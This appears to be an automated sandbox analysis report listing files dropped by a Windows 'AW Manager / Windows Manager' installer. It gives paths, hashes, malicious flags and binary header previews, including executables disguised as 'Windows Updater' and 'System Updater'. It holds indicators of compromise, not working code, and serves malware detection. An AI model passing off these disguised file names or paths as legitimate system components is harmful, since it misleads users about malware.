File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	206848
Entropy (8bit):	6.455974444370028
Encrypted:	false
SSDEEP:	3072:RAks1YEbj/RY1chmT86lO2XkzjCN4d0N1crZ9RAZQH5lsarbXXMuM9:Qj2rAGKvdkcrZ3xsarbnpM9
MD5:	858C99CC729BE2DB6F37E25747640333
SHA1:	69070DF2849C1373FAE9A4B4A884F14FD8AE39F1
SHA-256:	D4F839922C901906F549C687CCC58A010861A6A006A15C32E1A7F2E3D703B4D9
SHA-512:	F53E00BBEDBA0EDBC363589A2BE76AC836915B95D8E887BF5EE4080F34D773A19D9DD43E715569EA21F85A9434DE2A16B51C52B00AFD89D268BFC929E1E8E695
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._..._..._...K...U...K.......3...{...3...O...3...J...K...L...K...X..._.................^......^..._.v.^......^...Rich_...........................PE..L...z.\`.........."!.....X...................p............................................@.................................\|...<....p.. ...............................p........................... ...@............p..t............................text....V.......X.................. ..`.rdata......p.......\..............@..@.data...dV..........................@....rsrc... ....p......................@..@.reloc........... ..................@..B................................................................................................................................................................................................................................................................................

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\holder0.aiph

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	data
Category:	dropped
Size (bytes):	1502656
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	78C547B9587D497C80C35AAF2145E562
SHA1:	004DC5093FEC82325DFACA46B017FA822474BDA4
SHA-256:	56310567129504E8151CD2EFE9F19D05EA475BA603FF3516FB98C976DFDF6DA9
SHA-512:	DAF5FA22129522E745F3C32CEA22653D33DD4826215C6E7EEAC63C9F8D824A7C264F5BE6589BFD9CB6015CD3337BF0B63FF789735AA1B4F86F911FCB2874F639
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.4\install\4394A48\AdvancedWindowsManager.exe

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe
File Type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	697208
Entropy (8bit):	5.080864864433559
Encrypted:	false
SSDEEP:	12288:FyuvpsDlaR8FXIa9p6RrL1lUHBxnt5mHjLVUQNC:k8psDlaRAXIsYNL1lAd5mHjqQNC
MD5:	26002A612B392A4A948098A6211E1431
SHA1:	F22F7BE798FA1F5DAB112E822853A9236FB80ABD
SHA-256:	DD226AA0EE4D6A3439BF2CF3E9ECD2C22AD59451C8CE902258B1D34FD28FF922
SHA-512:	BC8A06AE19A1B59C0C89F33943FC449CD8DE1F45133DFC796570BD0407E8E2DD9DAB2885EBE6692F3A06ACF7BCC75AFBEB2E8918E925D37E65C6813EE34A7462
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...*.zb...............%.......................@....................................j.....`... ..................................................2......................x....................................Y..(...................<................................text...............................`..`.data...............................@....rdata...v.......x..................@..@.pdata...............f..............@..@.xdata..............................@..@.bss.... ................................idata...2.......4..................@....CRT....p...........................@....tls................................@....rsrc...............................@....reloc..............................@..B........................................................................................................................................................................

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.4\install\4394A48\System Updater.msi

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {BF7EE51F-4DE9-4BDC-9A63-5AFDBF8C954B}, Number of Words: 0, Subject: Windows Installer, Author: AdvancedWindowsManager, Name of Creating Application: Windows Installer, Template: ;1033, Comments: This installer database contains the logic and data required to install Windows Installer., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	3910144
Entropy (8bit):	6.573835059608444
Encrypted:	false
SSDEEP:	49152:lkbY5AMAc4RQ8BtDAoB4aNXVW+hv+AhiJRhZ2iwcUcyPEU8HZ3nq+NToL5ZHd9Zi:8Y5AXtDrmZUyxhoL9+e4Upz
MD5:	3A26913038116713313BCF96C8852398
SHA1:	D9A604BABB4A6B4FB4198FA717E0AB58CD0027A5
SHA-256:	9920FCC0B7ED4843443A1869FDD9DE961AC91441BBB047BDCEFAF9EFC5916093
SHA-512:	829D6490DEC7A653A3DC2E8CD790B66A54CB5C7EE766AD77E6E00858ED018DC31F0887D5436ECCB58F6E4BB7951E5B428D827AB0EA9C9959EECF92B2B7EA8E47
Malicious:	false
Reputation:	unknown
Preview:	......................>...................<...................................T.......\|.......C...D...E...F...G...H...I...J...K...L...M...N...O...P...v...w...x.......................6...7...8...9...:...;...<...=...W...X...Y...Z...[...\...]...^..._...`...C...D...E...F...G...H...I...J...K...L...M...N...........i...................................................................................................................................................................................................................n...............)...?........................................................................................... ...!..."...#...$...%...&...'...(...6...*...<...,...-......./...0...1...2...3...4...5.......7...8...9...:...;...@...=...>...H...K...A...B...C...D...E...F...G...S...I...J...V...L...M...N...O...P...Q...R.......{.......V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.4\install\4394A48\Windows Updater.exe

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1036152
Entropy (8bit):	6.491502495873816
Encrypted:	false
SSDEEP:	24576:yViYocX3hU49N1frFMDtpen0qZQ9b1zCdUVdjKFoeO:8iYoM6EODtA0qZhdUVdjKFoeO
MD5:	00DF35EDF6E7E2345949AF6ACB6EC40A
SHA1:	C9DCD62666C9056DAE38CB292361ABC263C62ECF
SHA-256:	C7EE9A8357EEB602C67C4EDEDB3E96510352FDDA9BFDCE60C5902D4C0A57AF66
SHA-512:	53334A2C60A4CF95EE0D59E86F14DB5847C130A7A27E6E8C418AE6CEF21AF6CD463DA2F15CA1ADC26FAD6A236F0DD92D0BA5ABCD88A453BF02939C8C7C0E7E09
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..7(.{d(.{d(.{d..xe&.{d..~e..{dJ..e;.{dJ.xe1.{dJ.~eu.{d...e3.{d..}e).{d..ze..{d(.zd..{d..reU.{d...d).{d..ye).{dRich(.{d........PE..L.....gb.........."..............................@.................................._....@.....................................,.......pc..............x....`.......:..p...................@;..........@...............t...<........................text...o........................... ..`.rdata..2...........................@..@.data...D)..........................@....rsrc...pc.......d..................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................................................................................................

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.4\install\decoder.dll

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	211456
Entropy (8bit):	6.450132187386898
Encrypted:	false
SSDEEP:	3072:WltFwoJxZQ4fK70l5DqKtRnBBjGd4uM4h0lntiEnc2xMl4fTVERt:WaU87+3nHy6n0NGJERt
MD5:	8A3F1A0DA39530DCB8962DD0FADB187F
SHA1:	D5294F6BE549EC1F779DA78D903683BAB2835D1A
SHA-256:	C6988E36B1E1D6FFC89D9FA77AD35F132F5AA89E680D0155E0B6AEE1C524C99F
SHA-512:	1E0D5BE3EE164FB16DE629A975F3C3DA61659B99A0FC766850FFEEDDB2D32B7EE0D3B85C77F01D34D9FE2933BD7BD11C6DBA7B35D30FAED7CE09485FD706D49D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+(..oI..oI..oI..;..eI..;...I...1..JI...1...I...1..yI..;..zI..;..hI..oI...I...0..3I...0..nI...0..nI..oIe.nI...0..nI..RichoI..................PE..L.....gb.........."!.....f................................................................@.................................\...<....... .......................@ ......p...............................@...............t............................text....d.......f.................. ..`.rdata...............j..............@..@.data...dV... ......................@....rsrc... ...........................@..@.reloc..@ ......."..................@..B........................................................................................................................................................................................................................................................................................

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.4\install\holder0.aiph

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe
File Type:	data
Category:	dropped
Size (bytes):	1733360
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	FE347AE917E750146E7EBA3C15CCC1AB
SHA1:	7711940B38DC4D8A0CEA4B2482F63A2758AF4332
SHA-256:	648B0E73673D6F644D211C567E8B4274AB99CBF5F56837768B19F6F27C089D75
SHA-512:	264D5A6DDBEE3A00048138BF8CEE13CA6F5EC6EC41F55C455FC69D2FBC52A002A237A7CA820DF48D110A6871BE314354561479BD6078E2CC7306346BCE0DB497
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Config.Msi\413de9.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	205673
Entropy (8bit):	6.456530404489979
Encrypted:	false
SSDEEP:	3072:Bj+sQSJ38YR4h04SZto/ycbzhfIZk7yukfxYJyAfqgT7Z14hZliQiPDm:h+FQ38t/SZfkVfISkC7R7Z1uria
MD5:	D78F4E28A1F54A740D34865DE01091D9
SHA1:	E6AE0D571CF4ED9F99A78C4DB9B7BBBC1559A298
SHA-256:	7C0AA0DE5DEE057F0509296F252B1DD36AE67B46BFF57049D3A16B6466B2983B
SHA-512:	0213F5F50AB2BF47B9275A77AB108A5E950724B2246920ECC0FDA2931B2C265B03736D4322F25002CA7A985B3CF4A1C4BFD34665BB1C822BC834DCD22DC83FCF
Malicious:	false
Reputation:	unknown
Preview:	...@IXOS.@.....@.v.W.@.....@.....@.....@.....@.....@......&.{C845414C-903C-4218-9DE7-132AB97FDF62}..Windows Manager$.Windows Manager - Postback Johan.msi.@.....@.....@.....@......logo.exe..&.{C5EBDD8B-C384-4CB5-9A33-9A4EF2189D51}.....@.....@.....@.....@.......@.....@.....@.......@......Windows Manager......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{28FDA578-EFA5-4A4F-A558-E4219B09577D}&.{C845414C-903C-4218-9DE7-132AB97FDF62}.@......&.{D30ED18A-DEA4-45D6-8A1F-1643C3CC79C1}&.{C845414C-903C-4218-9DE7-132AB97FDF62}.@......&.{C48C1022-6EC4-4C0F-BB98-0EA64D330920}&.{C845414C-903C-4218-9DE7-132AB97FDF62}.@......&.{FD7030D8-9E76-4445-B52A-726084B486D7}&.{C845414C-903C-4218-9DE7-132AB97FDF62}.@......&.{BDF67205-71EF-48E8-B35B-F43B4B2037ED}&.{C845414C-903C-4218-9DE7-132AB97FDF62}.@......&.{57BA717A-E6F6-4504-AC96-B25193D3B96E}&.{C845414C-903C-4218-9DE7-132AB97FDF62}.@......&.{57BA717A-E6F6-4504-AC9

C:\Config.Msi\413ded.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1278735
Entropy (8bit):	6.437674211141719
Encrypted:	false
SSDEEP:	24576:yREYB+FAREYB+F3REYB+FpREYB+FGREYB+FQREYB+F5REYB+Fn:yREYgAREYg3REYgpREYgGREYgQREYg5g
MD5:	4456139AE5913D75377A952FB1C3C949
SHA1:	19BD8FC1DA806C02746D0E4C98CA1BF06AD0DF2D
SHA-256:	6B90BBECFE30838B89EFC7EFAA4577F2C81DE8D174BA8034920E4149E5377B4F
SHA-512:	C455FC4123E676A317DC07C2549AF7256B418B151476F1A9456BF7F7C9BC8AC46323827524FFB1B39C6A0EEC382B4C97F3E86DC12A6C6AADF42A5A6E30986ED1
Malicious:	false
Reputation:	unknown
Preview:	...@IXOS.@.....@.v.W.@.....@.....@.....@.....@.....@......&.{13499434-9821-4E2D-B7DF-7C0867EB1504}..Windows Installer..System Updater.msi.@.....@.....@.....@......logo.exe..&.{F5D6D741-5AB0-4858-81E2-26A50610DFFA}.....@.....@.....@.....@.......@.....@.....@.......@......Windows Installer......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{DECF3B3F-BFBA-4EB7-8878-E4C409356ABA}&.{13499434-9821-4E2D-B7DF-7C0867EB1504}.@......&.{71730F5F-0233-4DB3-A1F2-B0AD0A1B831F}&.{13499434-9821-4E2D-B7DF-7C0867EB1504}.@......&.{408CE191-A5E9-46B9-ADB0-4347C8FF9F0C}&.{13499434-9821-4E2D-B7DF-7C0867EB1504}.@......&.{58381363-55CC-4691-9CA4-9F7C23C7CB30}&.{13499434-9821-4E2D-B7DF-7C0867EB1504}.@......&.{C2120CD2-0128-4AF5-A142-B9275A4695E6}&.{13499434-9821-4E2D-B7DF-7C0867EB1504}.@......&.{845529B4-88B3-40D2-9BAD-9BB05F467355}&.{13499434-9821-4E2D-B7DF-7C0867EB1504}.@........AI_RollbackTasks21.Rolling back sched

C:\Config.Msi\413df2.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	12885
Entropy (8bit):	5.583142174418184
Encrypted:	false
SSDEEP:	192:+LDdAvRQW+vRNWJv6ZvhOf7UVE2peOoSB94Xhq3tJd:+LDdgRQzRNOv6ZozoE2peOoSBBtJd
MD5:	31B5B7A79D29060D857E246D4DBB2356
SHA1:	3352DF5A180AD596107539780359CD7F1FCA7822
SHA-256:	2B47D73A79077D64D6697167263719F1D1B58E03A3F5E22F9BD20226085D5660
SHA-512:	033E45F66855D2E450FE8F7300F888A61F98268B4BEDBA944D419711297C5491D6480243F58F8041888E58E50CCAF519DA4ACAE10D2A7B47376B4F91C1C9D26E
Malicious:	false
Reputation:	unknown
Preview:	...@IXOS.@.....@.v.W.@.....@.....@.....@.....@.....@......&.{C845414C-903C-4218-9DE7-132AB97FDF62}..Windows Manager$.Windows Manager - Postback Johan.msi.@.....@.....@.....@......logo.exe..&.{C5EBDD8B-C384-4CB5-9A33-9A4EF2189D51}.....@.....@.....@.....@.......@.....@.....@.......@......Windows Manager......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....InstallInitialize$..@....z.Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\C414548CC3098124D97E31A29BF7FD26\Transforms...@....(.$..@....@.Software\Microsoft\Windows\CurrentVersion\Installer\TempPackages...@....(.&...C:\Windows\Installer\413dea.msi..#0$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\C414548CC3098124D97E31A29BF7FD26\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....%...AuthorizedCDFPrefix%...CommentsX.This installer data

C:\Config.Msi\413df3.rbf

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Sat Dec 7 08:10:02 2019, mtime=Wed Dec 6 12:52:45 2023, atime=Sat Dec 7 08:10:02 2019, length=59904, window=hide
Category:	dropped
Size (bytes):	1871
Entropy (8bit):	3.6260677764156335
Encrypted:	false
SSDEEP:	24:8YcJZqCFbdAqwm+ssv0r+MQv0srSOIP4WQv0sJcSGyfm:8YcrqebW0eI5KPrSOIwWKPWg
MD5:	92E233D7ADDEBBB84724AF17A8666F85
SHA1:	DE534C364119C283D2E474F32FEB19F0C82B254F
SHA-256:	87F02E2C0480CBF43A444D5F56DDFE88D933DF5BB6B5671047C3AE9FB58E7C5F
SHA-512:	C063C38A3ABC35B09FFAC332BF2694162FE1884CB3B21C8D32FC5DB888E353D800DBD013DFDF4F6FF8A0434E2B0D8071C56784999AF4A0E942F20C7CB67D67F7
Malicious:	false
Reputation:	unknown
Preview:	L..................F.`.. ...25.......}K(..25.............................A....P.O. .:i.....+00.../C:\...................V.1.....DW.r..Windows.@......OwH.WTn....3.....................h...W.i.n.d.o.w.s.....Z.1.....DW.r..SysWOW64..B......O.I.WTn....Y.....................ck..S.y.s.W.O.W.6.4.....b.2......OBI .msiexec.exe.H......OBI.W.n................\|.............m.s.i.e.x.e.c...e.x.e.......N...............-.......M.............&h.....C:\Windows\SysWOW64\msiexec.exe..%.....\.....\.....\.W.i.n.d.o.w.s.\.S.y.s.W.O.W.6.4.\.m.s.i.e.x.e.c...e.x.e.)./.x. .{.1.3.4.9.9.4.3.4.-.9.8.2.1.-.4.E.2.D.-.B.7.D.F.-.7.C.0.8.6.7.E.B.1.5.0.4.}.S.C.:.\.W.i.n.d.o.w.s.\.I.n.s.t.a.l.l.e.r.\.{.1.3.4.9.9.4.3.4.-.9.8.2.1.-.4.E.2.D.-.B.7.D.F.-.7.C.0.8.6.7.E.B.1.5.0.4.}.\.S.y.s.t.e.m.F.o.l.d.e.r.m.s.i.e.x.e.c...e.x.e.........%SystemRoot%\Installer\{13499434-9821-4E2D-B7DF-7C0867EB1504}\SystemFoldermsiexec.exe......................................................................................................

C:\Config.Msi\413df8.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	12030
Entropy (8bit):	5.595481494916009
Encrypted:	false
SSDEEP:	192:jGXb7Rmth7RdtoHMfkpdm8do5c3lE3XEQCfW3tJm:jGXPRm3RdCHMfh8y5+kEQCwtJm
MD5:	DDCC1592B41E2F36C28F90B117DEAF4E
SHA1:	D15CB884B3F1879865911F8C9A127F1E49AB0A03
SHA-256:	575FA76157F21AD0181E7ABC3A11780B6ED0602468F11A6FE5799853688469DC
SHA-512:	B5BDC3EA2B8A9F635FDF22704F170F827473B0FA8809AD030D299EAF3EA6F87E06628B0BA1B1E0F2079EC296112F031F303CF7426ADDAF5FB4D75F64AA5F1951
Malicious:	false
Reputation:	unknown
Preview:	...@IXOS.@.....@.v.W.@.....@.....@.....@.....@.....@......&.{13499434-9821-4E2D-B7DF-7C0867EB1504}..Windows Installer..System Updater.msi.@.....@.....@.....@......logo.exe..&.{F5D6D741-5AB0-4858-81E2-26A50610DFFA}.....@.....@.....@.....@.......@.....@.....@.......@......Windows Installer......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....InstallInitialize$..@....z.Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\434994311289D2E47BFDC78076BE5140\Transforms...@....(.$..@....@.Software\Microsoft\Windows\CurrentVersion\Installer\TempPackages...@....(.&...C:\Windows\Installer\413df0.msi..#0$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\434994311289D2E47BFDC78076BE5140\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....%...AuthorizedCDFPrefix%...CommentsZ.This installer database contains

C:\Config.Msi\413dfa.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1954192
Entropy (8bit):	6.423360087689886
Encrypted:	false
SSDEEP:	49152:oRhZ2ioRhZ2iCRhZ2ifRhZ2itRhZ2i1RhZ2i5RhZ2iKRhZ2ibRhZ2iqRhZ2iO:ouA5fLf0VkY
MD5:	927B5CF649454865D96D1493FF337EE5
SHA1:	5FEA5730DBF2293A4B366F50CD2934B648E68E1D
SHA-256:	4C85B5A471B2DD31FCE38CE7DE97ED518D1B8B07D346E0FD36283E55B5076507
SHA-512:	EC0D7B64E667A277275DDFC750434023D1247891735A0E4E131384493FD92DE7DD156710AA5FB312BEDA9928C75980F2C0300CC7BA3F24ACE1143A86DE5E3929
Malicious:	false
Reputation:	unknown
Preview:	...@IXOS.@.....@.v.W.@.....@.....@.....@.....@.....@......&.{798E61D4-8923-4E77-A74B-2DF264394A48}..Windows Installer..System Updater.msi.@.....@.....@.....@......logo.exe..&.{BF7EE51F-4DE9-4BDC-9A63-5AFDBF8C954B}.....@.....@.....@.....@.......@.....@.....@.......@......Windows Installer......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{DECF3B3F-BFBA-4EB7-8878-E4C409356ABA}&.{798E61D4-8923-4E77-A74B-2DF264394A48}.@......&.{71730F5F-0233-4DB3-A1F2-B0AD0A1B831F}&.{798E61D4-8923-4E77-A74B-2DF264394A48}.@......&.{408CE191-A5E9-46B9-ADB0-4347C8FF9F0C}&.{798E61D4-8923-4E77-A74B-2DF264394A48}.@......&.{58381363-55CC-4691-9CA4-9F7C23C7CB30}&.{798E61D4-8923-4E77-A74B-2DF264394A48}.@......&.{C2120CD2-0128-4AF5-A142-B9275A4695E6}&.{798E61D4-8923-4E77-A74B-2DF264394A48}.@......&.{845529B4-88B3-40D2-9BAD-9BB05F467355}&.{798E61D4-8923-4E77-A74B-2DF264394A48}.@........AI_RollbackTasks21.Rolling back sched

C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	697208
Entropy (8bit):	5.080864864433559
Encrypted:	false
SSDEEP:	12288:FyuvpsDlaR8FXIa9p6RrL1lUHBxnt5mHjLVUQNC:k8psDlaRAXIsYNL1lAd5mHjqQNC
MD5:	26002A612B392A4A948098A6211E1431
SHA1:	F22F7BE798FA1F5DAB112E822853A9236FB80ABD
SHA-256:	DD226AA0EE4D6A3439BF2CF3E9ECD2C22AD59451C8CE902258B1D34FD28FF922
SHA-512:	BC8A06AE19A1B59C0C89F33943FC449CD8DE1F45133DFC796570BD0407E8E2DD9DAB2885EBE6692F3A06ACF7BCC75AFBEB2E8918E925D37E65C6813EE34A7462
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...*.zb...............%.......................@....................................j.....`... ..................................................2......................x....................................Y..(...................<................................text...............................`..`.data...............................@....rdata...v.......x..................@..@.pdata...............f..............@..@.xdata..............................@..@.bss.... ................................idata...2.......4..................@....CRT....p...........................@....tls................................@....rsrc...............................@....reloc..............................@..B........................................................................................................................................................................

C:\Program Files (x86)\AW Manager\Windows Manager\EULA.url

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows 95 Internet shortcut, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.621928094887362
Encrypted:	false
SSDEEP:	3:HRAbABGQf:HRYFA
MD5:	F14A9F1417503C7DC1DD6759DE850312
SHA1:	2647C9CFE611B033824C3998B9E17A69EB7A8D65
SHA-256:	8C05D3FB956DAC02702A9377D361116E2AD6B2F079E36ADA56DF98D240CC3D96
SHA-512:	677FBE17BD9B318A69AED59AF3B81A340CDDDBE430E34F7D15B02F279118BE65A2C7B7B30618BD8D0331DE60D7F15DE0E0864C3ED7FB90EEF6EEAC3187D9C3C1
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..

C:\Program Files (x86)\AW Manager\Windows Manager\Privacy.url

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows 95 Internet shortcut, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.621928094887362
Encrypted:	false
SSDEEP:	3:HRAbABGQf:HRYFA
MD5:	F14A9F1417503C7DC1DD6759DE850312
SHA1:	2647C9CFE611B033824C3998B9E17A69EB7A8D65
SHA-256:	8C05D3FB956DAC02702A9377D361116E2AD6B2F079E36ADA56DF98D240CC3D96
SHA-512:	677FBE17BD9B318A69AED59AF3B81A340CDDDBE430E34F7D15B02F279118BE65A2C7B7B30618BD8D0331DE60D7F15DE0E0864C3ED7FB90EEF6EEAC3187D9C3C1
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..

C:\Program Files (x86)\AW Manager\Windows Manager\Uninstall.lnk

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Sat Dec 7 08:10:02 2019, mtime=Wed Dec 6 12:53:04 2023, atime=Sat Dec 7 08:10:02 2019, length=59904, window=hide
Category:	dropped
Size (bytes):	1871
Entropy (8bit):	3.619044197584284
Encrypted:	false
SSDEEP:	24:8WAcJZqCFbdAqwm+sP4AQ+Mb4A7SIr4Wb4A5cSGyfm:8WAcrqebW0AAQ5b4A7SBWb4AGg
MD5:	DACA5C46E480E96985C04E2F9B7CE49C
SHA1:	C3637977BD0F935EAEB1FD8C6AAA766D9A359C72
SHA-256:	FB6CA94B4D177AB6F19240A383FA642CE919EA586F3857ADB2338F3E17E152E3
SHA-512:	AA7C631BF6B51DA0D422490D01629C0A854700CC76BD5AC47CA5F62DFB5CC5A4C4B71E58AF076052683FB1273697F463D5ECF554682744F1398FA6A7DEDF4044
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...25.........K(..25.............................A....P.O. .:i.....+00.../C:\...................V.1.....DW.r..Windows.@......OwH.WTn....3.....................h...W.i.n.d.o.w.s.....Z.1.....DW.r..SysWOW64..B......O.I.WTn....Y.....................ck..S.y.s.W.O.W.6.4.....b.2......OBI .msiexec.exe.H......OBI.W.n................\|.............m.s.i.e.x.e.c...e.x.e.......N...............-.......M.............&h.....C:\Windows\SysWOW64\msiexec.exe..%.....\.....\.....\.W.i.n.d.o.w.s.\.S.y.s.W.O.W.6.4.\.m.s.i.e.x.e.c...e.x.e.)./.x. .{.7.9.8.E.6.1.D.4.-.8.9.2.3.-.4.E.7.7.-.A.7.4.B.-.2.D.F.2.6.4.3.9.4.A.4.8.}.S.C.:.\.W.i.n.d.o.w.s.\.I.n.s.t.a.l.l.e.r.\.{.7.9.8.E.6.1.D.4.-.8.9.2.3.-.4.E.7.7.-.A.7.4.B.-.2.D.F.2.6.4.3.9.4.A.4.8.}.\.S.y.s.t.e.m.F.o.l.d.e.r.m.s.i.e.x.e.c...e.x.e.........%SystemRoot%\Installer\{798E61D4-8923-4E77-A74B-2DF264394A48}\SystemFoldermsiexec.exe......................................................................................................

C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1036152
Entropy (8bit):	6.491502495873816
Encrypted:	false
SSDEEP:	24576:yViYocX3hU49N1frFMDtpen0qZQ9b1zCdUVdjKFoeO:8iYoM6EODtA0qZhdUVdjKFoeO
MD5:	00DF35EDF6E7E2345949AF6ACB6EC40A
SHA1:	C9DCD62666C9056DAE38CB292361ABC263C62ECF
SHA-256:	C7EE9A8357EEB602C67C4EDEDB3E96510352FDDA9BFDCE60C5902D4C0A57AF66
SHA-512:	53334A2C60A4CF95EE0D59E86F14DB5847C130A7A27E6E8C418AE6CEF21AF6CD463DA2F15CA1ADC26FAD6A236F0DD92D0BA5ABCD88A453BF02939C8C7C0E7E09
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..7(.{d(.{d(.{d..xe&.{d..~e..{dJ..e;.{dJ.xe1.{dJ.~eu.{d...e3.{d..}e).{d..ze..{d(.zd..{d..reU.{d...d).{d..ye).{dRich(.{d........PE..L.....gb.........."..............................@.................................._....@.....................................,.......pc..............x....`.......:..p...................@;..........@...............t...<........................text...o........................... ..`.rdata..2...........................@..@.data...D)..........................@....rsrc...pc.......d..................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.ini

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	472
Entropy (8bit):	5.380424270988325
Encrypted:	false
SSDEEP:	12:1OSMctb7qyMp7dwbUvngXnig70XvtgzXWZWVyMfgX4m+pC:1E4+PRPSni5XqfS4m+pC
MD5:	30E74E45812BACBF0D7B0A9AA7881CD4
SHA1:	5662713E0363CDE26E0442564964099C703DE1C6
SHA-256:	1650CD49F6012B34D6CCC6171A197C77694C1DFA8E3780EA08536248EC5880E9
SHA-512:	9475E19D006B45C056500EF54F67E933E1AA6F9701D736F96B8B72B98F18ABFFA5825DA21DAA13E20FCEB99FC18E2C1B4B0ABC15516624AC067E502A625C6FDD
Malicious:	false
Reputation:	unknown
